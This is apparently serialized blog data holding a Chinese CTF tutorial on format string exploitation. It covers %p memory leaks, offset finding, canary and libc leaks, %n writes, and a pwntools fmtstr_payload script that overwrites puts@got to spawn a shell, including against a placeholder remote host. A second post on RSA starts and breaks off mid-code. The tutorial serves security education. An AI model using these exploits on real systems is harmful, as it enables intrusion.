任意写",{"type":7,"value":9576,"toc":10588},[9577,9581,9584,9599,9614,9631,9635,9640,9689,9710,9714,9719,9721,9730,9732,9738,9741,9747,9758,9766,9770,9775,9791,9794,9796,9804,9806,9812,9815,9821,9831,9898,9903,9933,9937,9942,9955,9963,10018,10071,10074,10083,10086,10090,10095,10110,10115,10121,10123,10136,10139,10182,10186,10197,10205,10211,10281,10314,10317,10396,10402,10431,10441,10443,10501,10505,10512,10521,10564,10566,10572,10574,10585],[10,9578,9580],{"id":9579},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9582,9583],{},"C 程序员常写的输出代码：",[19,9585,9587],{"className":1910,"code":9586,"language":1912,"meta":24,"style":24},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[26,9588,9589,9594],{"__ignoreMap":24},[29,9590,9591],{"class":31,"line":32},[29,9592,9593],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[29,9595,9596],{"class":31,"line":38},[29,9597,9598],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9600,9601,9602,9605,9606,9609,9610,9613],{},"当 ",[26,9603,9604],{},"buf"," 内容是 ",[26,9607,9608],{},"%p"," 时，",[26,9611,9612],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9615,9616,9617,9625],"ul",{},[1886,9618,9619,1110,9621,9624],{},[26,9620,9608],{},[26,9622,9623],{},"%s","：任意读（泄露内存）。",[1886,9626,9627,9630],{},[26,9628,9629],{},"%n","：任意写（写入内存）。",[10,9632,9634],{"id":9633},"二漏洞程序与编译","二、漏洞程序与编译",[15,9636,9637,137],{},[26,9638,9639],{},"fmt.c",[19,9641,9643],{"className":1910,"code":9642,"language":1912,"meta":24,"style":24},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[26,9644,9645,9649,9653,9657,9662,9666,9671,9676,9681,9685],{"__ignoreMap":24},[29,9646,9647],{"class":31,"line":32},[29,9648,2527],{},[29,9650,9651],{"class":31,"line":38},[29,9652,42],{"emptyLinePlaceholder":41},[29,9654,9655],{"class":31,"line":45},[29,9656,2583],{},[29,9658,9659],{"class":31,"line":51},[29,9660,9661],{},"    char buf[100];\n",[29,9663,9664],{"class":31,"line":56},[29,9665,2588],{},[29,9667,9668],{"class":31,"line":62},[29,9669,9670],{},"    printf(\"> \");\n",[29,9672,9673],{"class":31,"line":68},[29,9674,9675],{},"    fgets(buf, sizeof(buf), stdin);\n",[29,9677,9678],{"class":31,"line":74},[29,9679,9680],{},"    printf(buf);          // 漏洞\n",[29,9682,9683],{"class":31,"line":179},[29,9684,2611],{},[29,9686,9687],{"class":31,"line":185},[29,9688,2551],{},[19,9690,9692],{"className":113,"code":9691,"language":115,"meta":24,"style":24},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[26,9693,9694],{"__ignoreMap":24},[29,9695,9696,9698,9700,9703,9706,9708],{"class":31,"line":32},[29,9697,2629],{"class":122},[29,9699,2632],{"class":815},[29,9701,9702],{"class":126}," fmt",[29,9704,9705],{"class":126}," fmt.c",[29,9707,2641],{"class":815},[29,9709,2644],{"class":815},[10,9711,9713],{"id":9712},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9715,9716,9718],{},[216,9717,218],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9720,196],{},[19,9722,9724],{"className":113,"code":9723,"language":115,"meta":24,"style":24},"./fmt\n",[26,9725,9726],{"__ignoreMap":24},[29,9727,9728],{"class":31,"line":32},[29,9729,9723],{"class":122},[15,9731,1270],{},[19,9733,9736],{"className":9734,"code":9735,"language":477,"meta":24},[475],"%p.%p.%p.%p.%p.%p\n",[26,9737,9735],{"__ignoreMap":24},[15,9739,9740],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[19,9742,9745],{"className":9743,"code":9744,"language":477,"meta":24},[475],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[26,9746,9744],{"__ignoreMap":24},[15,9748,9749,9750,9753,9754,9757],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[26,9751,9752],{},"0x70252e70","，正是 ",[26,9755,9756],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9759,9760,137,9763,9765],{},[216,9761,9762],{},"为什么能泄露",[26,9764,9612],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9767,9769],{"id":9768},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9771,9772,9774],{},[216,9773,218],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9776,9777,9779,9780,9782,9783,9786,9787,9790],{},[216,9778,224],{},"：在输入开头放 4 个 ",[26,9781,2995],{},"，用 ",[26,9784,9785],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[26,9788,9789],{},"0x41414141","，哪个位置就是输入起点。",[15,9792,9793],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9795,196],{},[19,9797,9798],{"className":113,"code":9723,"language":115,"meta":24,"style":24},[26,9799,9800],{"__ignoreMap":24},[29,9801,9802],{"class":31,"line":32},[29,9803,9723],{"class":122},[15,9805,1270],{},[19,9807,9810],{"className":9808,"code":9809,"language":477,"meta":24},[475],"AAAA.%6$p\n",[26,9811,9809],{"__ignoreMap":24},[15,9813,9814],{},"预期输出（Linux x86-64 典型情况）：",[19,9816,9819],{"className":9817,"code":9818,"language":477,"meta":24},[475],"> AAAA.0x41414141\n",[26,9820,9818],{"__ignoreMap":24},[15,9822,9823,9824,9826,9827,9830],{},"出现 ",[26,9825,9789],{},"（",[26,9828,9829],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[19,9832,9834],{"className":21,"code":9833,"language":23,"meta":24,"style":24},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[26,9835,9836,9840,9844,9849,9854,9859,9864,9869,9874,9879,9884,9889,9894],{"__ignoreMap":24},[29,9837,9838],{"class":31,"line":32},[29,9839,2788],{},[29,9841,9842],{"class":31,"line":38},[29,9843,42],{"emptyLinePlaceholder":41},[29,9845,9846],{"class":31,"line":45},[29,9847,9848],{},"for i in range(1, 15):\n",[29,9850,9851],{"class":31,"line":51},[29,9852,9853],{},"    p = process('./fmt')\n",[29,9855,9856],{"class":31,"line":56},[29,9857,9858],{},"    p.recvuntil(b'> ')\n",[29,9860,9861],{"class":31,"line":62},[29,9862,9863],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[29,9865,9866],{"class":31,"line":68},[29,9867,9868],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[29,9870,9871],{"class":31,"line":74},[29,9872,9873],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[29,9875,9876],{"class":31,"line":179},[29,9877,9878],{},"    out = p.recvall()\n",[29,9880,9881],{"class":31,"line":185},[29,9882,9883],{},"    if b'0x41414141' in out:\n",[29,9885,9886],{"class":31,"line":190},[29,9887,9888],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[29,9890,9891],{"class":31,"line":677},[29,9892,9893],{},"        print(f'offset = {i}')\n",[29,9895,9896],{"class":31,"line":683},[29,9897,698],{},[15,9899,261,9900,458],{},[26,9901,9902],{},"offset = 6",[15,9904,9905,9906,4927,9909,9911,9912,9914,9915,9918,9919,9922,9923,9918,9926,1807,9929,9932],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[26,9907,9908],{},"rdi, rsi, rdx, rcx, r8, r9",[26,9910,9612],{}," 自己占 ",[26,9913,9019],{},"，所以 ",[26,9916,9917],{},"%1$p"," 到 ",[26,9920,9921],{},"%5$p"," 对应 ",[26,9924,9925],{},"rsi",[26,9927,9928],{},"r9",[26,9930,9931],{},"%6$p"," 开始读栈。",[10,9934,9936],{"id":9935},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,9938,9939,9941],{},[216,9940,218],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,9943,9944,9946,9947,9950,9951,9954],{},[216,9945,224],{},"：不同数据在栈上有固定特征——canary 以 ",[26,9948,9949],{},"00"," 结尾，libc 地址以 ",[26,9952,9953],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,9956,1891,9957,9918,9959,9962],{},[26,9958,9931],{},[26,9960,9961],{},"%40$p"," 全部打出来，识别特征值：",[342,9964,9965,9975],{},[345,9966,9967],{},[348,9968,9969,9972],{},[351,9970,9971],{},"值特征",[351,9973,9974],{},"内容",[361,9976,9977,9988,9999,10009],{},[348,9978,9979,9985],{},[366,9980,9981,9982,9984],{},"以 ",[26,9983,9949],{}," 结尾的随机值",[366,9986,9987],{},"canary",[348,9989,9990,9996],{},[366,9991,9992,9995],{},[26,9993,9994],{},"0x7fff"," 开头",[366,9997,9998],{},"栈地址",[348,10000,10001,10006],{},[366,10002,10003,9995],{},[26,10004,10005],{},"0x55/0x56",[366,10007,10008],{},"程序代码地址（PIE 基址相关）",[348,10010,10011,10015],{},[366,10012,10013,9995],{},[26,10014,9953],{},[366,10016,10017],{},"libc 地址",[19,10019,10021],{"className":21,"code":10020,"language":23,"meta":24,"style":24},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[26,10022,10023,10028,10033,10037,10042,10047,10051,10056,10061,10066],{"__ignoreMap":24},[29,10024,10025],{"class":31,"line":32},[29,10026,10027],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[29,10029,10030],{"class":31,"line":38},[29,10031,10032],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[29,10034,10035],{"class":31,"line":45},[29,10036,2981],{},[29,10038,10039],{"class":31,"line":51},[29,10040,10041],{},"out = p.recvall().decode().split('.')\n",[29,10043,10044],{"class":31,"line":56},[29,10045,10046],{},"# 按点号切分，得到每个位置的值。\n",[29,10048,10049],{"class":31,"line":62},[29,10050,42],{"emptyLinePlaceholder":41},[29,10052,10053],{"class":31,"line":68},[29,10054,10055],{},"for i, v in enumerate(out):\n",[29,10057,10058],{"class":31,"line":74},[29,10059,10060],{},"    if v.endswith('00') and len(v) == 18:\n",[29,10062,10063],{"class":31,"line":179},[29,10064,10065],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[29,10067,10068],{"class":31,"line":185},[29,10069,10070],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10072,10073],{},"泄露 libc 地址后：",[19,10075,10077],{"className":21,"code":10076,"language":23,"meta":24,"style":24},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[26,10078,10079],{"__ignoreMap":24},[29,10080,10081],{"class":31,"line":32},[29,10082,10076],{},[15,10084,10085],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10087,10089],{"id":10088},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10091,10092,10094],{},[216,10093,218],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10096,10097,137,10099,10101,10102,10105,10106,10109],{},[216,10098,224],{},[26,10100,9629],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[26,10103,10104],{},"%100c"," 精确控制打印量，再用 ",[26,10107,10108],{},"%N$n"," 写到目标地址。",[15,10111,10112,10114],{},[26,10113,9629],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[19,10116,10119],{"className":10117,"code":10118,"language":477,"meta":24},[475],"%100c%7$n\n",[26,10120,10118],{"__ignoreMap":24},[15,10122,8947],{},[1883,10124,10125,10130],{},[1886,10126,10127,10129],{},[26,10128,10104],{}," 打印 100 个填充字符，已打印数变成 100。",[1886,10131,10132,10135],{},[26,10133,10134],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10137,10138],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[342,10140,10141,10151],{},[345,10142,10143],{},[348,10144,10145,10148],{},[351,10146,10147],{},"说明符",[351,10149,10150],{},"写入字节数",[361,10152,10153,10162,10172],{},[348,10154,10155,10159],{},[366,10156,10157],{},[26,10158,9629],{},[366,10160,10161],{},"4 字节",[348,10163,10164,10169],{},[366,10165,10166],{},[26,10167,10168],{},"%hn",[366,10170,10171],{},"2 字节",[348,10173,10174,10179],{},[366,10175,10176],{},[26,10177,10178],{},"%hhn",[366,10180,10181],{},"1 字节",[10,10183,10185],{"id":10184},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10187,10188,10190,10191,10193,10194,10196],{},[216,10189,218],{},"：把程序即将调用的 ",[26,10192,9367],{}," 改成我们的 ",[26,10195,2754],{},"，实现控制流劫持。",[15,10198,10199,137,10201,10204],{},[216,10200,224],{},[26,10202,10203],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10206,10207,10208,137],{},"目标程序 ",[26,10209,10210],{},"fmt2.c",[19,10212,10214],{"className":1910,"code":10213,"language":1912,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[26,10215,10216,10220,10224,10228,10232,10236,10240,10244,10248,10252,10256,10260,10264,10268,10273,10277],{"__ignoreMap":24},[29,10217,10218],{"class":31,"line":32},[29,10219,2527],{},[29,10221,10222],{"class":31,"line":38},[29,10223,2532],{},[29,10225,10226],{"class":31,"line":45},[29,10227,42],{"emptyLinePlaceholder":41},[29,10229,10230],{"class":31,"line":51},[29,10231,2541],{},[29,10233,10234],{"class":31,"line":56},[29,10235,2546],{},[29,10237,10238],{"class":31,"line":62},[29,10239,2551],{},[29,10241,10242],{"class":31,"line":68},[29,10243,42],{"emptyLinePlaceholder":41},[29,10245,10246],{"class":31,"line":74},[29,10247,2583],{},[29,10249,10250],{"class":31,"line":179},[29,10251,9661],{},[29,10253,10254],{"class":31,"line":185},[29,10255,2588],{},[29,10257,10258],{"class":31,"line":190},[29,10259,9670],{},[29,10261,10262],{"class":31,"line":677},[29,10263,9675],{},[29,10265,10266],{"class":31,"line":683},[29,10267,9680],{},[29,10269,10270],{"class":31,"line":689},[29,10271,10272],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[29,10274,10275],{"class":31,"line":695},[29,10276,2611],{},[29,10278,10279],{"class":31,"line":2596},[29,10280,2551],{},[19,10282,10284],{"className":113,"code":10283,"language":115,"meta":24,"style":24},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[26,10285,10286,10302],{"__ignoreMap":24},[29,10287,10288,10290,10292,10295,10298,10300],{"class":31,"line":32},[29,10289,2629],{"class":122},[29,10291,2632],{"class":815},[29,10293,10294],{"class":126}," fmt2",[29,10296,10297],{"class":126}," fmt2.c",[29,10299,2641],{"class":815},[29,10301,2644],{"class":815},[29,10303,10304,10306,10308,10311],{"class":31,"line":38},[29,10305,2680],{"class":122},[29,10307,2683],{"class":126},[29,10309,10310],{"class":126}," ./fmt2",[29,10312,10313],{"class":807},"     # 需为 Partial RELRO，GOT 可写\n",[15,10315,10316],{},"利用脚本：",[19,10318,10320],{"className":21,"code":10319,"language":23,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[26,10321,10322,10326,10330,10335,10340,10345,10349,10354,10359,10364,10369,10374,10379,10384,10388,10392],{"__ignoreMap":24},[29,10323,10324],{"class":31,"line":32},[29,10325,2788],{},[29,10327,10328],{"class":31,"line":38},[29,10329,42],{"emptyLinePlaceholder":41},[29,10331,10332],{"class":31,"line":45},[29,10333,10334],{},"context.binary = elf = ELF('./fmt2')\n",[29,10336,10337],{"class":31,"line":51},[29,10338,10339],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[29,10341,10342],{"class":31,"line":56},[29,10343,10344],{},"p = process('./fmt2')\n",[29,10346,10347],{"class":31,"line":62},[29,10348,42],{"emptyLinePlaceholder":41},[29,10350,10351],{"class":31,"line":68},[29,10352,10353],{},"offset = 6\n",[29,10355,10356],{"class":31,"line":74},[29,10357,10358],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[29,10360,10361],{"class":31,"line":179},[29,10362,10363],{},"# fmtstr_payload(offset, writes)：\n",[29,10365,10366],{"class":31,"line":185},[29,10367,10368],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[29,10370,10371],{"class":31,"line":190},[29,10372,10373],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[29,10375,10376],{"class":31,"line":677},[29,10377,10378],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[29,10380,10381],{"class":31,"line":683},[29,10382,10383],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[29,10385,10386],{"class":31,"line":689},[29,10387,42],{"emptyLinePlaceholder":41},[29,10389,10390],{"class":31,"line":695},[29,10391,2981],{},[29,10393,10394],{"class":31,"line":2596},[29,10395,3069],{},[15,10397,10398,10401],{},[26,10399,10400],{},"fmtstr_payload"," 自动完成：",[1883,10403,10404,10409,10416,10425],{},[1886,10405,1891,10406,10408],{},[26,10407,2754],{}," 地址拆成低 2 字节和高 2 字节。",[1886,10410,10411,10412,10415],{},"生成 ",[26,10413,10414],{},"%c"," 控制打印量。",[1886,10417,10418,10419,435,10421,10424],{},"把两个目标地址（",[26,10420,10203],{},[26,10422,10423],{},"puts@got+2","）放到对应参数位置。",[1886,10426,10427,10428,10430],{},"用 ",[26,10429,10168],{}," 分别写入。",[15,10432,10433,10434,10437,10438,10440],{},"预期结果：程序执行 ",[26,10435,10436],{},"puts(\"Done\")"," 时实际调用 ",[26,10439,3094],{},"，进入 shell。",[10,10442,3103],{"id":3102},[342,10444,10445,10455],{},[345,10446,10447],{},[348,10448,10449,10451,10453],{},[351,10450,2139],{},[351,10452,3114],{},[351,10454,3117],{},[361,10456,10457,10475,10487],{},[348,10458,10459,10461,10473],{},[366,10460,3124],{},[366,10462,10463,435,10465,435,10468,1110,10470],{},[26,10464,10400],{},[26,10466,10467],{},"FmtStr",[26,10469,3142],{},[26,10471,10472],{},"recvuntil",[366,10474,3146],{},[348,10476,10477,10479,10482],{},[366,10478,3151],{},[366,10480,10481],{},"看 RELRO、Canary、PIE",[366,10483,10484],{},[26,10485,10486],{},"pwn checksec ./fmt2",[348,10488,10489,10491,10494],{},[366,10490,9457],{},[366,10492,10493],{},"断点、看栈、验证参数位置",[366,10495,10496,435,10499],{},[26,10497,10498],{},"break main",[26,10500,3175],{},[10,10502,10504],{"id":10503},"九小-ctf-实战","九、小 CTF 实战",[15,10506,10507,10508,10511],{},"题目：远程运行 ",[26,10509,10510],{},"fmt2","（Partial RELRO、No PIE）。",[15,10513,10514,10516,10517,10520],{},[216,10515,224],{},"：与本地脚本唯一区别是 ",[26,10518,10519],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[19,10522,10524],{"className":21,"code":10523,"language":23,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,10525,10526,10530,10534,10538,10543,10547,10552,10556,10560],{"__ignoreMap":24},[29,10527,10528],{"class":31,"line":32},[29,10529,2788],{},[29,10531,10532],{"class":31,"line":38},[29,10533,42],{"emptyLinePlaceholder":41},[29,10535,10536],{"class":31,"line":45},[29,10537,10334],{},[29,10539,10540],{"class":31,"line":51},[29,10541,10542],{},"p = remote('1.2.3.4', 10002)\n",[29,10544,10545],{"class":31,"line":56},[29,10546,42],{"emptyLinePlaceholder":41},[29,10548,10549],{"class":31,"line":62},[29,10550,10551],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[29,10553,10554],{"class":31,"line":68},[29,10555,2981],{},[29,10557,10558],{"class":31,"line":74},[29,10559,3275],{},[29,10561,10562],{"class":31,"line":179},[29,10563,3069],{},[15,10565,261],{},[19,10567,10570],{"className":10568,"code":10569,"language":477,"meta":24},[475],"flag{format_string}\n",[26,10571,10569],{"__ignoreMap":24},[10,10573,3296],{"id":3295},[15,10575,10576,10577,1110,10579,10581,10582,10584],{},"格式化字符串提供两种原语：",[26,10578,9608],{},[26,10580,9623],{}," 任意读，",[26,10583,9629],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1116,10586,10587],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":10589},[10590,10591,10592,10593,10594,10595,10596,10597,10598,10599],{"id":9579,"depth":45,"text":9580},{"id":9633,"depth":45,"text":9634},{"id":9712,"depth":45,"text":9713},{"id":9768,"depth":45,"text":9769},{"id":9935,"depth":45,"text":9936},{"id":10088,"depth":45,"text":10089},{"id":10184,"depth":45,"text":10185},{"id":3102,"depth":45,"text":3103},{"id":10503,"depth":45,"text":10504},{"id":3295,"depth":45,"text":3296},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1132,"image":4329,"alt":10602,"tags":10603,"published":41},"格式化字符串深入实战",[1136,2680,10604,1139],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9574,"description":10600},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10610,"title":10611,"body":10612,"description":11579,"extension":1130,"meta":11580,"navigation":41,"ogImage":8467,"path":11584,"seo":11585,"stem":11586,"__hash__":11587},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10613,"toc":11567},[10614,10618,10621,10624,10647,10660,10662,10678,10682,10688,10691,10706,10710,10715,10720,10809,10811,10817,10824,10828,10833,10838,10842,10861,10863,10869,10875,10879,10884,10969,10971,10977,10986,10990,10998,11027,11031,11035,11045,11051,11055,11060,11065,11072,11078,11081,11087,11091,11254,11256,11262,11266,11333,11335,11396,11405,11407,11409,11415,11418,11422,11427,11441,11443,11449,11453,11462,11512,11514,11520,11524,11556,11558,11565],[10,10615,10617],{"id":10616},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10619,10620],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10622,10623],{},"DH 最小实现（见密码学全景篇）：",[19,10625,10627],{"className":21,"code":10626,"language":23,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[26,10628,10629,10633,10637,10642],{"__ignoreMap":24},[29,10630,10631],{"class":31,"line":32},[29,10632,3960],{},[29,10634,10635],{"class":31,"line":38},[29,10636,3975],{},[29,10638,10639],{"class":31,"line":45},[29,10640,10641],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[29,10643,10644],{"class":31,"line":51},[29,10645,10646],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10648,10649,10650,10653,10654,435,10656,10659],{},"RSA 的安全基础是：已知 ",[26,10651,10652],{},"n"," 求 ",[26,10655,15],{},[26,10657,10658],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10661,1212],{"id":1211},[19,10663,10664],{"className":113,"code":3549,"language":115,"meta":24,"style":24},[26,10665,10666],{"__ignoreMap":24},[29,10667,10668,10670,10672,10674,10676],{"class":31,"line":32},[29,10669,2503],{"class":122},[29,10671,127],{"class":126},[29,10673,3560],{"class":126},[29,10675,3563],{"class":126},[29,10677,3566],{"class":126},[10,10679,10681],{"id":10680},"三核心知识rsa-公式","三、核心知识：RSA 公式",[19,10683,10686],{"className":10684,"code":10685,"language":477,"meta":24},[475],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[26,10687,10685],{"__ignoreMap":24},[15,10689,10690],{},"三个必须会用的 Python 运算：",[19,10692,10694],{"className":21,"code":10693,"language":23,"meta":24,"style":24},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[26,10695,10696,10701],{"__ignoreMap":24},[29,10697,10698],{"class":31,"line":32},[29,10699,10700],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[29,10702,10703],{"class":31,"line":38},[29,10704,10705],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10707,10709],{"id":10708},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10711,10712,10714],{},[216,10713,218],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10716,10717,10719],{},[216,10718,224],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[19,10721,10723],{"className":21,"code":10722,"language":23,"meta":24,"style":24},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[26,10724,10725,10730,10735,10740,10745,10750,10755,10760,10764,10769,10774,10779,10784,10789,10794,10799,10804],{"__ignoreMap":24},[29,10726,10727],{"class":31,"line":32},[29,10728,10729],{},"p, q, e = 61, 53, 17\n",[29,10731,10732],{"class":31,"line":38},[29,10733,10734],{},"n = p * q\n",[29,10736,10737],{"class":31,"line":45},[29,10738,10739],{},"# n = 3233，公钥模数。\n",[29,10741,10742],{"class":31,"line":51},[29,10743,10744],{},"phi = (p - 1) * (q - 1)\n",[29,10746,10747],{"class":31,"line":56},[29,10748,10749],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[29,10751,10752],{"class":31,"line":62},[29,10753,10754],{},"d = pow(e, -1, phi)\n",[29,10756,10757],{"class":31,"line":68},[29,10758,10759],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 